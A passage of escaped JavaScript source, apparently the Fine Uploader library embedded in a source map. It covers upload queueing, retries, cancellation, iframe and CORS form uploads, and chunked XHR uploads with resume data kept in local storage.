were triggered,\n        // even if some async processing must be completed on one or more Blobs first.\n        maybeDefer: function(id, blob) {\n            // If we don't have a file/blob yet & no file/blob exists for this item, request it,\n            // and then submit the upload to the specific handler once the blob is available.\n            // ASSUMPTION: This condition will only ever be true if XHR uploading is supported.\n            if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {\n\n                // Blob creation may take some time, so the caller may want to update the\n                // UI to indicate that an operation is in progress, even before the actual\n                // upload begins and an onUpload callback is invoked.\n                options.onUploadPrep(id);\n\n                log(\"Attempting to generate a blob on-demand for \" + id);\n                blob.create().then(function(generatedBlob) {\n                    log(\"Generated an on-demand blob for \" + id);\n\n                    // Update record associated with this file by providing the generated Blob\n                    handler.updateBlob(id, generatedBlob);\n\n                    // Propagate the size for this generated Blob\n                    options.setSize(id, generatedBlob.size);\n\n                    // Order handler to recalculate chunking possibility, if applicable\n                    handler.reevaluateChunking(id);\n\n                    upload.maybeSendDeferredFiles(id);\n                },\n\n                // Blob could not be generated.  Fail the upload & attempt to prevent retries.  Also bubble error message.\n                function(errorMessage) {\n                    var errorResponse = {};\n\n                    if (errorMessage) {\n                        errorResponse.error = errorMessage;\n                    }\n\n                    log(qq.format(\"Failed to generate blob for ID {}.  Error message: {}.\", id, errorMessage), \"error\");\n\n                    options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);\n                    upload.maybeSendDeferredFiles(id);\n                    connectionManager.free(id);\n                });\n            }\n            else {\n                return upload.maybeSendDeferredFiles(id);\n            }\n\n            return false;\n        },\n\n        // Upload any grouped blobs, in the proper order, that are ready to be uploaded\n        maybeSendDeferredFiles: function(id) {\n            var idsInGroup = options.getIdsInProxyGroup(id),\n                uploadedThisId = false;\n\n            if (idsInGroup && idsInGroup.length) {\n                log(\"Maybe ready to upload proxy group file \" + id);\n\n                qq.each(idsInGroup, function(idx, idInGroup) {\n                    if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {\n                        uploadedThisId = idInGroup === id;\n                        upload.now(idInGroup);\n                    }\n                    else if (upload.isDeferredEligibleForUpload(idInGroup)) {\n                        return false;\n                    }\n                });\n            }\n            else {\n                uploadedThisId = true;\n                upload.now(id);\n            }\n\n            return uploadedThisId;\n        },\n\n        maybeNewUuid: function(id, response) {\n            if (response.newUuid !== undefined) {\n                options.onUuidChanged(id, response.newUuid);\n            }\n        },\n\n        // The response coming from handler implementations may be in various formats.\n        // Instead of hoping a promise nested 5 levels deep will always return an object\n        // as its first param, let's just normalize the response here.\n        normalizeResponse: function(originalResponse, successful) {\n            var response = originalResponse;\n\n            // The passed \"response\" param may not be a response at all.\n            // It could be a string, detailing the error, for example.\n            if (!qq.isObject(originalResponse)) {\n                response = {};\n\n                if (qq.isString(originalResponse) && !successful) {\n                    response.error = originalResponse;\n                }\n            }\n\n            response.success = successful;\n\n            return response;\n        },\n\n        now: function(id) {\n            var name = options.getName(id);\n\n            if (!controller.isValid(id)) {\n                throw new qq.Error(id + \" is not a valid file ID to upload!\");\n            }\n\n            options.onUpload(id, name);\n\n            if (chunkingPossible && handler._shouldChunkThisFile(id)) {\n                chunked.sendNext(id);\n            }\n            else {\n                simple.send(id, name);\n            }\n        },\n\n        start: function(id) {\n            var blobToUpload = upload.getProxyOrBlob(id);\n\n            if (blobToUpload) {\n                return upload.maybeDefer(id, blobToUpload);\n            }\n            else {\n                upload.now(id);\n                return true;\n            }\n        }\n    };\n\n    qq.extend(this, {\n        /**\n         * Adds file or file input to the queue\n         **/\n        add: function(id, file) {\n            handler.add.apply(this, arguments);\n        },\n\n        /**\n         * Sends the file identified by id\n         */\n        upload: function(id) {\n            if (connectionManager.open(id)) {\n                return upload.start(id);\n            }\n            return false;\n        },\n\n        retry: function(id) {\n            // On retry, if concurrent chunking has been enabled, we may have aborted all other in-progress chunks\n            // for a file when encountering a failed chunk upload.  We then signaled the controller to ignore\n            // all failures associated with these aborts.  We are now retrying, so we don't want to ignore\n            // any more failures at this point.\n            if (concurrentChunkingPossible) {\n                handler._getFileState(id).temp.ignoreFailure = false;\n            }\n\n            // If we are attempting to retry a file that is already consuming a connection, this is likely an auto-retry.\n            // Just go ahead and ask the handler to upload again.\n            if (connectionManager.isUsingConnection(id)) {\n                return upload.start(id);\n            }\n\n            // If we are attempting to retry a file that is not currently consuming a connection,\n            // this is likely a manual retry attempt.  We will need to ensure a connection is available\n            // before the retry commences.\n            else {\n                return controller.upload(id);\n            }\n        },\n\n        /**\n         * Cancels file upload by id\n         */\n        cancel: function(id) {\n            var cancelRetVal = handler.cancel(id);\n\n            if (qq.isGenericPromise(cancelRetVal)) {\n                cancelRetVal.then(function() {\n                    upload.cancel(id);\n                });\n            }\n            else if (cancelRetVal !== false) {\n                upload.cancel(id);\n            }\n        },\n\n        /**\n         * Cancels all queued or in-progress uploads\n         */\n        cancelAll: function() {\n            var waitingOrConnected = connectionManager.getWaitingOrConnected(),\n                i;\n\n            // ensure files are cancelled in reverse order which they were added\n            // to avoid a flash of time where a queued file begins to upload before it is canceled\n            if (waitingOrConnected.length) {\n                for (i = waitingOrConnected.length - 1; i >= 0; i--) {\n                    controller.cancel(waitingOrConnected[i]);\n                }\n            }\n\n            connectionManager.reset();\n        },\n\n        // Returns a File, Blob, or the Blob/File for the reference/parent file if the targeted blob is a proxy.\n        // Undefined if no file record is available.\n        getFile: function(id) {\n            if (handler.getProxy && handler.getProxy(id)) {\n                return handler.getProxy(id).referenceBlob;\n            }\n\n            return handler.getFile && handler.getFile(id);\n        },\n\n        // Returns true if the Blob associated with the ID is related to a proxy s\n        isProxied: function(id) {\n            return !!(handler.getProxy && handler.getProxy(id));\n        },\n\n        getInput: function(id) {\n            if (handler.getInput) {\n                return handler.getInput(id);\n            }\n        },\n\n        reset: function() {\n            log(\"Resetting upload handler\");\n            controller.cancelAll();\n            connectionManager.reset();\n            handler.reset();\n        },\n\n        expunge: function(id) {\n            if (controller.isValid(id)) {\n                return handler.expunge(id);\n            }\n        },\n\n        /**\n         * Determine if the file exists.\n         */\n        isValid: function(id) {\n            return handler.isValid(id);\n        },\n\n        getResumableFilesData: function() {\n            if (handler.getResumableFilesData) {\n                return handler.getResumableFilesData();\n            }\n            return [];\n        },\n\n        /**\n         * This may or may not be implemented, depending on the handler.  For handlers where a third-party ID is\n         * available (such as the \"key\" for Amazon S3), this will return that value.  Otherwise, the return value\n         * will be undefined.\n         *\n         * @param id Internal file ID\n         * @returns {*} Some identifier used by a 3rd-party service involved in the upload process\n         */\n        getThirdPartyFileId: function(id) {\n            if (controller.isValid(id)) {\n                return handler.getThirdPartyFileId(id);\n            }\n        },\n\n        /**\n         * Attempts to pause the associated upload if the specific handler supports this and the file is \"valid\".\n         * @param id ID of the upload/file to pause\n         * @returns {boolean} true if the upload was paused\n         */\n        pause: function(id) {\n            if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {\n                connectionManager.free(id);\n                handler.moveInProgressToRemaining(id);\n                return true;\n            }\n            return false;\n        },\n\n        // True if the file is eligible for pause/resume.\n        isResumable: function(id) {\n            return !!handler.isResumable && handler.isResumable(id);\n        }\n    });\n\n    qq.extend(options, o);\n    log = options.log;\n    chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;\n    concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;\n\n    preventRetryResponse = (function() {\n        var response = {};\n\n        response[options.preventRetryParam] = true;\n\n        return response;\n    }());\n\n    upload.initHandler();\n};\n","/*globals qq */\n/*jshint -W117 */\nqq.WindowReceiveMessage = function(o) {\n    \"use strict\";\n\n    var options = {\n            log: function(message, level) {}\n        },\n        callbackWrapperDetachers = {};\n\n    qq.extend(options, o);\n\n    qq.extend(this, {\n        receiveMessage: function(id, callback) {\n            var onMessageCallbackWrapper = function(event) {\n                    callback(event.data);\n                };\n\n            if (window.postMessage) {\n                callbackWrapperDetachers[id] = qq(window).attach(\"message\", onMessageCallbackWrapper);\n            }\n            else {\n                log(\"iframe message passing not supported in this browser!\", \"error\");\n            }\n        },\n\n        stopReceivingMessages: function(id) {\n            if (window.postMessage) {\n                var detacher = callbackWrapperDetachers[id];\n                if (detacher) {\n                    detacher();\n                }\n            }\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common APIs exposed to creators of upload via form/iframe handlers.  This is reused and possibly overridden\n * in some cases by specific form upload handlers.\n *\n * @constructor\n */\nqq.FormUploadHandler = function(spec) {\n    \"use strict\";\n\n    var options = spec.options,\n        handler = this,\n        proxy = spec.proxy,\n        formHandlerInstanceId = qq.getUniqueId(),\n        onloadCallbacks = {},\n        detachLoadEvents = {},\n        postMessageCallbackTimers = {},\n        isCors = options.isCors,\n        inputName = options.inputName,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        corsMessageReceiver = new qq.WindowReceiveMessage({log: log});\n\n    /**\n     * Remove any trace of the file from the handler.\n     *\n     * @param id ID of the associated file\n     */\n    function expungeFile(id) {\n        delete detachLoadEvents[id];\n\n        // If we are dealing with CORS, we might still be waiting for a response from a loaded iframe.\n        // In that case, terminate the timer waiting for a message from the loaded iframe\n        // and stop listening for any more messages coming from this iframe.\n        if (isCors) {\n            clearTimeout(postMessageCallbackTimers[id]);\n            delete postMessageCallbackTimers[id];\n            corsMessageReceiver.stopReceivingMessages(id);\n        }\n\n        var iframe = document.getElementById(handler._getIframeName(id));\n        if (iframe) {\n            // To cancel request set src to something else.  We use src=\"javascript:false;\"\n            // because it doesn't trigger ie6 prompt on https\n            /* jshint scripturl:true */\n            iframe.setAttribute(\"src\", \"javascript:false;\");\n\n            qq(iframe).remove();\n        }\n    }\n\n    /**\n     * @param iframeName `document`-unique Name of the associated iframe\n     * @returns {*} ID of the associated file\n     */\n    function getFileIdForIframeName(iframeName) {\n        return iframeName.split(\"_\")[0];\n    }\n\n    /**\n     * Generates an iframe to be used as a target for upload-related form submits.  This also adds the iframe\n     * to the current `document`.  Note that the iframe is hidden from view.\n     *\n     * @param name Name of the iframe.\n     * @returns {HTMLIFrameElement} The created iframe\n     */\n    function initIframeForUpload(name) {\n        var iframe = qq.toElement(\"<iframe src='javascript:false;' name='\" + name + \"' />\");\n\n        iframe.setAttribute(\"id\", name);\n\n        iframe.style.display = \"none\";\n        document.body.appendChild(iframe);\n\n        return iframe;\n    }\n\n    /**\n     * If we are in CORS mode, we must listen for messages (containing the server response) from the associated\n     * iframe, since we cannot directly parse the content of the iframe due to cross-origin restrictions.\n     *\n     * @param iframe Listen for messages on this iframe.\n     * @param callback Invoke this callback with the message from the iframe.\n     */\n    function registerPostMessageCallback(iframe, callback) {\n        var iframeName = iframe.id,\n            fileId = getFileIdForIframeName(iframeName),\n            uuid = getUuid(fileId);\n\n        onloadCallbacks[uuid] = callback;\n\n        // When the iframe has loaded (after the server responds to an upload request)\n        // declare the attempt a failure if we don't receive a valid message shortly after the response comes in.\n        detachLoadEvents[fileId] = qq(iframe).attach(\"load\", function() {\n            if (handler.getInput(fileId)) {\n                log(\"Received iframe load event for CORS upload request (iframe name \" + iframeName + \")\");\n\n                postMessageCallbackTimers[iframeName] = setTimeout(function() {\n                    var errorMessage = \"No valid message received from loaded iframe for iframe name \" + iframeName;\n                    log(errorMessage, \"error\");\n                    callback({\n                        error: errorMessage\n                    });\n                }, 1000);\n            }\n        });\n\n        // Listen for messages coming from this iframe.  When a message has been received, cancel the timer\n        // that declares the upload a failure if a message is not received within a reasonable amount of time.\n        corsMessageReceiver.receiveMessage(iframeName, function(message) {\n            log(\"Received the following window message: '\" + message + \"'\");\n            var fileId = getFileIdForIframeName(iframeName),\n                response = handler._parseJsonResponse(message),\n                uuid = response.uuid,\n                onloadCallback;\n\n            if (uuid && onloadCallbacks[uuid]) {\n                log(\"Handling response for iframe name \" + iframeName);\n                clearTimeout(postMessageCallbackTimers[iframeName]);\n                delete postMessageCallbackTimers[iframeName];\n\n                handler._detachLoadEvent(iframeName);\n\n                onloadCallback = onloadCallbacks[uuid];\n\n                delete onloadCallbacks[uuid];\n                corsMessageReceiver.stopReceivingMessages(iframeName);\n                onloadCallback(response);\n            }\n            else if (!uuid) {\n                log(\"'\" + message + \"' does not contain a UUID - ignoring.\");\n            }\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, fileInput) {\n                super_.add(id, {input: fileInput});\n\n                fileInput.setAttribute(\"name\", inputName);\n\n                // remove file input from DOM\n                if (fileInput.parentNode) {\n                    qq(fileInput).remove();\n                }\n            },\n\n            expunge: function(id) {\n                expungeFile(id);\n                super_.expunge(id);\n            },\n\n            isValid: function(id) {\n                return super_.isValid(id) &&\n                    handler._getFileState(id).input !== undefined;\n            }\n        };\n    });\n\n    qq.extend(this, {\n        getInput: function(id) {\n            return handler._getFileState(id).input;\n        },\n\n        /**\n         * This function either delegates to a more specific message handler if CORS is involved,\n         * or simply registers a callback when the iframe has been loaded that invokes the passed callback\n         * after determining if the content of the iframe is accessible.\n         *\n         * @param iframe Associated iframe\n         * @param callback Callback to invoke after we have determined if the iframe content is accessible.\n         */\n        _attachLoadEvent: function(iframe, callback) {\n            /*jslint eqeq: true*/\n            var responseDescriptor;\n\n            if (isCors) {\n                registerPostMessageCallback(iframe, callback);\n            }\n            else {\n                detachLoadEvents[iframe.id] = qq(iframe).attach(\"load\", function() {\n                    log(\"Received response for \" + iframe.id);\n\n                    // when we remove iframe from dom\n                    // the request stops, but in IE load\n                    // event fires\n                    if (!iframe.parentNode) {\n                        return;\n                    }\n\n                    try {\n                        // fixing Opera 10.53\n                        if (iframe.contentDocument &&\n                            iframe.contentDocument.body &&\n                            iframe.contentDocument.body.innerHTML == \"false\") {\n                            // In Opera event is fired second time\n                            // when body.innerHTML changed from false\n                            // to server response approx. after 1 sec\n                            // when we upload file with iframe\n                            return;\n                        }\n                    }\n                    catch (error) {\n                        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n                        log(\"Error when attempting to access iframe during handling of upload response (\" + error.message + \")\", \"error\");\n                        responseDescriptor = {success: false};\n                    }\n\n                    callback(responseDescriptor);\n                });\n            }\n        },\n\n        /**\n         * Creates an iframe with a specific document-unique name.\n         *\n         * @param id ID of the associated file\n         * @returns {HTMLIFrameElement}\n         */\n        _createIframe: function(id) {\n            var iframeName = handler._getIframeName(id);\n\n            return initIframeForUpload(iframeName);\n        },\n\n        /**\n         * Called when we are no longer interested in being notified when an iframe has loaded.\n         *\n         * @param id Associated file ID\n         */\n        _detachLoadEvent: function(id) {\n            if (detachLoadEvents[id] !== undefined) {\n                detachLoadEvents[id]();\n                delete detachLoadEvents[id];\n            }\n        },\n\n        /**\n         * @param fileId ID of the associated file\n         * @returns {string} The `document`-unique name of the iframe\n         */\n        _getIframeName: function(fileId) {\n            return fileId + \"_\" + formHandlerInstanceId;\n        },\n\n        /**\n         * Generates a form element and appends it to the `document`.  When the form is submitted, a specific iframe is targeted.\n         * The name of the iframe is passed in as a property of the spec parameter, and must be unique in the `document`.  Note\n         * that the form is hidden from view.\n         *\n         * @param spec An object containing various properties to be used when constructing the form.  Required properties are\n         * currently: `method`, `endpoint`, `params`, `paramsInBody`, and `targetName`.\n         * @returns {HTMLFormElement} The created form\n         */\n        _initFormForUpload: function(spec) {\n            var method = spec.method,\n                endpoint = spec.endpoint,\n                params = spec.params,\n                paramsInBody = spec.paramsInBody,\n                targetName = spec.targetName,\n                form = qq.toElement(\"<form method='\" + method + \"' enctype='multipart/form-data'></form>\"),\n                url = endpoint;\n\n            if (paramsInBody) {\n                qq.obj2Inputs(params, form);\n            }\n            else {\n                url = qq.obj2url(params, endpoint);\n            }\n\n            form.setAttribute(\"action\", url);\n            form.setAttribute(\"target\", targetName);\n            form.style.display = \"none\";\n            document.body.appendChild(form);\n\n            return form;\n        },\n\n        /**\n         * @param innerHtmlOrMessage JSON message\n         * @returns {*} The parsed response, or an empty object if the response could not be parsed\n         */\n        _parseJsonResponse: function(innerHtmlOrMessage) {\n            var response = {};\n\n            try {\n                response = qq.parseJson(innerHtmlOrMessage);\n            }\n            catch (error) {\n                log(\"Error when attempting to parse iframe upload response (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common API exposed to creators of XHR handlers.  This is reused and possibly overriding in some cases by specific\n * XHR upload handlers.\n *\n * @constructor\n */\nqq.XhrUploadHandler = function(spec) {\n    \"use strict\";\n\n    var handler = this,\n        namespace = spec.options.namespace,\n        proxy = spec.proxy,\n        chunking = spec.options.chunking,\n        resume = spec.options.resume,\n        chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking,\n        resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        getEndpoint = proxy.getEndpoint,\n        getDataByUuid = proxy.getDataByUuid,\n        onUuidChanged = proxy.onUuidChanged,\n        onProgress = proxy.onProgress,\n        log = proxy.log;\n\n    function abort(id) {\n        qq.each(handler._getXhrs(id), function(xhrId, xhr) {\n            var ajaxRequester = handler._getAjaxRequester(id, xhrId);\n\n            xhr.onreadystatechange = null;\n            xhr.upload.onprogress = null;\n            xhr.abort();\n            ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, blobOrProxy) {\n                if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {\n                    super_.add(id, {file: blobOrProxy});\n                }\n                else if (blobOrProxy instanceof qq.BlobProxy) {\n                    super_.add(id, {proxy: blobOrProxy});\n                }\n                else {\n                    throw new Error(\"Passed obj is not a File, Blob, or proxy\");\n                }\n\n                handler._initTempState(id);\n                resumeEnabled && handler._maybePrepareForResume(id);\n            },\n\n            expunge: function(id) {\n                abort(id);\n                handler._maybeDeletePersistedChunkData(id);\n                handler._clearXhrs(id);\n                super_.expunge(id);\n            }\n        };\n    });\n\n    qq.extend(this, {\n        // Clear the cached chunk `Blob` after we are done with it, just in case the `Blob` bytes are stored in memory.\n        clearCachedChunk: function(id, chunkIdx) {\n            delete handler._getFileState(id).temp.cachedChunks[chunkIdx];\n        },\n\n        clearXhr: function(id, chunkIdx) {\n            var tempState = handler._getFileState(id).temp;\n\n            if (tempState.xhrs) {\n                delete tempState.xhrs[chunkIdx];\n            }\n            if (tempState.ajaxRequesters) {\n                delete tempState.ajaxRequesters[chunkIdx];\n            }\n        },\n\n        // Called when all chunks have been successfully uploaded.  Expected promissory return type.\n        // This defines the default behavior if nothing further is required when all chunks have been uploaded.\n        finalizeChunks: function(id, responseParser) {\n            var lastChunkIdx = handler._getTotalChunks(id) - 1,\n                xhr = handler._getXhr(id, lastChunkIdx);\n\n            if (responseParser) {\n                return new qq.Promise().success(responseParser(xhr), xhr);\n            }\n\n            return new qq.Promise().success({}, xhr);\n        },\n\n        getFile: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).file;\n        },\n\n        getProxy: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).proxy;\n        },\n\n        /**\n         * @returns {Array} Array of objects containing properties useful to integrators\n         * when it is important to determine which files are potentially resumable.\n         */\n        getResumableFilesData: function() {\n            var resumableFilesData = [];\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress,  uploadData.chunking.remaining);\n\n                var data = {\n                    name: uploadData.name,\n                    remaining: uploadData.chunking.remaining,\n                    size: uploadData.size,\n                    uuid: uploadData.uuid\n                };\n\n                if (uploadData.key) {\n                    data.key = uploadData.key;\n                }\n\n                resumableFilesData.push(data);\n            });\n\n            return resumableFilesData;\n        },\n\n        isResumable: function(id) {\n            return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;\n        },\n\n        moveInProgressToRemaining: function(id, optInProgress, optRemaining) {\n            var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress,\n                remaining = optRemaining || handler._getFileState(id).chunking.remaining;\n\n            if (inProgress) {\n                log(qq.format(\"Moving these chunks from in-progress {}, to remaining.\", JSON.stringify(inProgress)));\n                inProgress.reverse();\n                qq.each(inProgress, function(idx, chunkIdx) {\n                    remaining.unshift(chunkIdx);\n                });\n                inProgress.length = 0;\n            }\n        },\n\n        pause: function(id) {\n            if (handler.isValid(id)) {\n                log(qq.format(\"Aborting XHR upload for {} '{}' due to pause instruction.\", id, getName(id)));\n                handler._getFileState(id).paused = true;\n                abort(id);\n                return true;\n            }\n        },\n\n        reevaluateChunking: function(id) {\n            if (chunking && handler.isValid(id)) {\n                var state = handler._getFileState(id),\n                    totalChunks,\n                    i;\n\n                delete state.chunking;\n\n                state.chunking = {};\n                totalChunks = handler._getTotalChunks(id);\n                if (totalChunks > 1 || chunking.mandatory) {\n                    state.chunking.enabled = true;\n                    state.chunking.parts = totalChunks;\n                    state.chunking.remaining = [];\n\n                    for (i = 0; i < totalChunks; i++) {\n                        state.chunking.remaining.push(i);\n                    }\n\n                    handler._initTempState(id);\n                }\n                else {\n                    state.chunking.enabled = false;\n                }\n            }\n        },\n\n        updateBlob: function(id, newBlob) {\n            if (handler.isValid(id)) {\n                handler._getFileState(id).file = newBlob;\n            }\n        },\n\n        _clearXhrs: function(id) {\n            var tempState = handler._getFileState(id).temp;\n\n            qq.each(tempState.ajaxRequesters, function(chunkId) {\n                delete tempState.ajaxRequesters[chunkId];\n            });\n\n            qq.each(tempState.xhrs, function(chunkId) {\n                delete tempState.xhrs[chunkId];\n            });\n        },\n\n        /**\n         * Creates an XHR instance for this file and stores it in the fileState.\n         *\n         * @param id File ID\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @returns {XMLHttpRequest}\n         */\n        _createXhr: function(id, optChunkIdx) {\n            return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());\n        },\n\n        _getAjaxRequester: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];\n        },\n\n        _getChunkData: function(id, chunkIndex) {\n            var chunkSize = chunking.partSize,\n                fileSize = getSize(id),\n                fileOrBlob = handler.getFile(id),\n                startBytes = chunkSize * chunkIndex,\n                endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize,\n                totalChunks = handler._getTotalChunks(id),\n                cachedChunks = this._getFileState(id).temp.cachedChunks,\n\n            // To work around a Webkit GC bug, we must keep each chunk `Blob` in scope until we are done with it.\n            // See https://github.com/Widen/fine-uploader/issues/937#issuecomment-41418760\n                blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);\n\n            cachedChunks[chunkIndex] = blob;\n\n            return {\n                part: chunkIndex,\n                start: startBytes,\n                end: endBytes,\n                count: totalChunks,\n                blob: blob,\n                size: endBytes - startBytes\n            };\n        },\n\n        _getChunkDataForCallback: function(chunkData) {\n            return {\n                partIndex: chunkData.part,\n                startByte: chunkData.start + 1,\n                endByte: chunkData.end,\n                totalParts: chunkData.count\n            };\n        },\n\n        /**\n         * @param id File ID\n         * @returns {string} Identifier for this item that may appear in the browser's local storage\n         */\n        _getLocalStorageId: function(id) {\n            var formatVersion = \"5.0\",\n                name = getName(id),\n                size = getSize(id),\n                chunkSize = chunking.partSize,\n                endpoint = getEndpoint(id);\n\n            return qq.format(\"qq{}resume{}-{}-{}-{}-{}\", namespace, formatVersion, name, size, chunkSize, endpoint);\n        },\n\n        _getMimeType: function(id) {\n            return handler.getFile(id).type;\n        },\n\n        _getPersistableData: function(id) {\n            return handler._getFileState(id).chunking;\n        },\n\n        /**\n         * @param id ID of the associated file\n         * @returns {number} Number of parts this file can be divided into, or undefined if chunking is not supported in this UA\n         */\n        _getTotalChunks: function(id) {\n            if (chunking) {\n                var fileSize = getSize(id),\n                    chunkSize = chunking.partSize;\n\n                return Math.ceil(fileSize / chunkSize);\n            }\n        },\n\n        _getXhr: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.xhrs[chunkIdx];\n        },\n\n        _getXhrs: function(id) {\n            return handler._getFileState(id).temp.xhrs;\n        },\n\n        // Iterates through all XHR handler-created resume records (in local storage),\n        // invoking the passed callback and passing in the key and value of each local storage record.\n        _iterateResumeRecords: function(callback) {\n            if (resumeEnabled) {\n                qq.each(localStorage, function(key, item) {\n                    if (key.indexOf(qq.format(\"qq{}resume\", namespace)) === 0) {\n                        var uploadData = JSON.parse(item);\n                        callback(key, uploadData);\n                    }\n                });\n            }\n        },\n\n        _initTempState: function(id) {\n            handler._getFileState(id).temp = {\n                ajaxRequesters: {},\n                chunkProgress: {},\n                xhrs: {},\n                cachedChunks: {}\n            };\n        },\n\n        _markNotResumable: function(id) {\n            handler._getFileState(id).notResumable = true;\n        },\n\n        // Removes a chunked upload record from local storage, if possible.\n        // Returns true if the item was removed, false otherwise.\n        _maybeDeletePersistedChunkData: function(id) {\n            var localStorageId;\n\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                if (localStorageId && localStorage.getItem(localStorageId)) {\n                    localStorage.removeItem(localStorageId);\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        // If this is a resumable upload, grab the relevant data from storage and items in memory that track this upload\n        // so we can pick up from where we left off.\n        _maybePrepareForResume: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // Resume is enabled and possible and this is the first time we've tried to upload this file in this session,\n            // so prepare for a resume attempt.\n            if (resumeEnabled && state.key === undefined) {\n                localStorageId = handler._getLocalStorageId(id);\n                persistedData = localStorage.getItem(localStorageId);\n\n                // If we found this item in local storage, maybe we should resume it.\n                if (persistedData) {\n                    persistedData = JSON.parse(persistedData);\n\n                    // If we found a resume record but we have already handled this file in this session,\n                    // don't try to resume it & ensure we don't persist future check data\n                    if (getDataByUuid(persistedData.uuid)) {\n                        handler._markNotResumable(id);\n                    }\n                    else {\n                        log(qq.format(\"Identified file with ID {} and name of {} as resumable.\", id, getName(id)));\n\n                        onUuidChanged(id, persistedData.uuid);\n\n                        state.key = persistedData.key;\n                        state.chunking = persistedData.chunking;\n                        state.loaded = persistedData.loaded;\n                        state.attemptingResume = true;\n\n                        handler.moveInProgressToRemaining(id);\n                    }\n                }\n            }\n        },\n\n        // Persist any data needed to resume this upload in a new session.\n        _maybePersistChunkedState: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // If local storage isn't supported by the browser, or if resume isn't enabled or possible, give up\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                persistedData = {\n                    name: getName(id),\n                    size: getSize(id),\n                    uuid: getUuid(id),\n                    key: state.key,\n                    chunking: state.chunking,\n                    loaded: state.loaded,\n                    lastUpdated: Date.now()\n                };\n\n                try {\n                    localStorage.setItem(localStorageId, JSON.stringify(persistedData));\n                }\n                catch (error) {\n                    log(qq.format(\"Unable to save resume data for '{}' due to error: '{}'.\", id, error.toString()), \"warn\");\n                }\n            }\n        },\n\n        _registerProgressHandler: function(id, chunkIdx, chunkSize) {\n            var xhr = handler._getXhr(id, chunkIdx),\n                name = getName(id),\n                progressCalculator = {\n                    simple: function(loaded, total) {\n                        var fileSize = getSize(id);\n\n                        if (loaded === total) {\n                            onProgress(id, name, fileSize, fileSize);\n                        }\n                        else {\n                            onProgress(id, name, (loaded >= fileSize ? fileSize - 1 : loaded), fileSize);\n                        }\n                    },\n\n                    chunked: function(loaded, total) {\n                        var chunkProgress = handler._getFileState(id).temp.chunkProgress,\n                            totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded,\n                            loadedForRequest = loaded,\n                            totalForRequest = total,\n                            totalFileSize = getSize(id),\n                            estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize),\n                            totalLoadedForFile = totalSuccessfullyLoadedForFile;\n\n                        chunkProgress[chunkIdx] = estActualChunkLoaded;\n\n                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {\n                            totalLoadedForFile += chunkLoaded;\n                        });\n\n                        onProgress(id, name, totalLoadedForFile, totalFileSize);\n                    }\n                };\n\n            xhr.upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    /* jshint eqnull: true */\n                    var type = chunkSize == null ? \"simple\" : \"chunked\";\n                    progressCalculator[type](e.loaded, e.total);\n                }\n            };\n        },\n\n        /**\n         * Registers an XHR transport instance created elsewhere.\n         *\n         * @param id ID of the associated file\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @param xhr XMLHttpRequest object instance\n         * @param optAjaxRequester `qq.AjaxRequester` associated with this request, if applicable.\n         * @returns {XMLHttpRequest}\n         */\n        _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {\n            var xhrsId = optChunkIdx == null ? -1 : optChunkIdx,\n                tempState = handler._getFileState(id).temp;\n\n            tempState.xhrs = tempState.xhrs || {};\n            tempState.ajaxRequesters = tempState.ajaxRequesters || {};\n\n            tempState.xhrs[xhrsId] = xhr;\n\n            if (optAjaxRequester) {\n                tempState.ajaxRequesters[xhrsId] = optAjaxRequester;\n            }\n\n            return xhr;\n        },\n\n        // Deletes any local storage records that are \"expired\".\n        _removeExpiredChunkingRecords: function() {\n            var expirationDays = resume.recordsExpireIn;\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                var expirationDate = new Date(uploadData.lastUpdated);\n\n                // transform updated date into expiration date\n                expirationDate.setDate(expirationDate.getDate() + 